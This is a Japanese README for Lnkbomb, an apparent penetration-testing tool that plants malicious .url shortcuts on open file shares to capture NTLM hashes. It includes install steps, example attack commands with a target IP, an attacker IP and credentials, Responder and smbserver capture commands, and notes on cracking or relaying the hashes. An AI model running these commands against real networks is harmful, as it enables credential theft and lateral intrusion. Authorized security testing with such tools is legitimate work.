
Lnkbombは、悪意のあるショートカットファイルを安全でないファイル共有にアップロードするために使用されます。この脆弱性は、Windowsがショートカットファイルに関連付けるアイコンファイルを探すために発生します。このアイコンファイルは、ペネトレーションテスターのマシンで動作しているResponderやsmbserverに向けて指示することができ、被害ホストマシンの設定に応じてNTLMv1またはNTLMv2ハッシュを収集します。テスターは、Hashcatなどのツールを使って収集したハッシュをオフラインでクラックするか、ntlmrelayxなどのツールにリレーしてさらなる悪用を試みることができます。
ペイロードファイルは、コマンドラインでテスターが指定した安全でないファイル共有に直接アップロードされます。テスターは自身のIPアドレスも含め、それがペイロードに書き込まれます。
バージョン2.0はツールの全面的な再構築であり、pysmbライブラリを使用しており、認証なしおよび認証ありのペイロードドロップが可能です。
Lnkbombのインストール
このプロジェクトはWindowsで一貫して動作することに注意してください。Linuxでは問題が発生する可能性があります。
git clone https://github.com/dievus/lnkbomb.git
lnkbombディレクトリに移動し、以下を実行します:
python3 lnkbomb.py -h
これによりヘルプメニューが表示され、以下のフラグが含まれています:
-h, --help - ヘルプオプションを表示します
-t, --target - ターゲットIPアドレスを指定します
-a, --attacker - テスターの攻撃マシンのIPアドレスを指定します
-r, --recover - テスト完了時にペイロードを削除するために使用します(例: -r payloadname.url)
-w, --windows - 新しいコマンド - Windows共有に適したポートを設定するために必要です
-l, --linux - 新しいコマンド - Linux共有に適したポートを設定するために必要です
-n, --netbios - 新しいコマンド - 対象WindowsマシンのNetBIOS名を含める必要があります
完全なコマンドの例:
python3 .\lnkbomb.py -t 192.168.1.79 -a 192.168.1.21 -s Shared -u themayor -p Password123! -n dc01 --windows
python3 .\lnkbomb.py -t 192.168.1.79 -a 192.168.1.21 -s Shared -u themayor -p Password123! -n dc01 --windows -r dicnwdsebl.url
NTLMハッシュをキャプチャするには、Responderやsmbserverのようなツールを利用する必要があります。
responder -I eth0 -dwFP -v
または
smbserver.py . . -smb2support
このツールは倫理的なハッキングおよびペネトレーションテスト目的のみに使用されることを意図している点にご留意ください。現在テストする許可を得ていないターゲットに対してテストする行為は一切推奨しません。
このツールは、ターゲットのパッチ適用状況やバージョンによって動作する場合としない場合があります。ユーザーエクスペリエンスは異なる可能性があります。
これが.urlショートカットであり、.lnk拡張子ではないことは承知しています。あなたをからかうためにそうしています。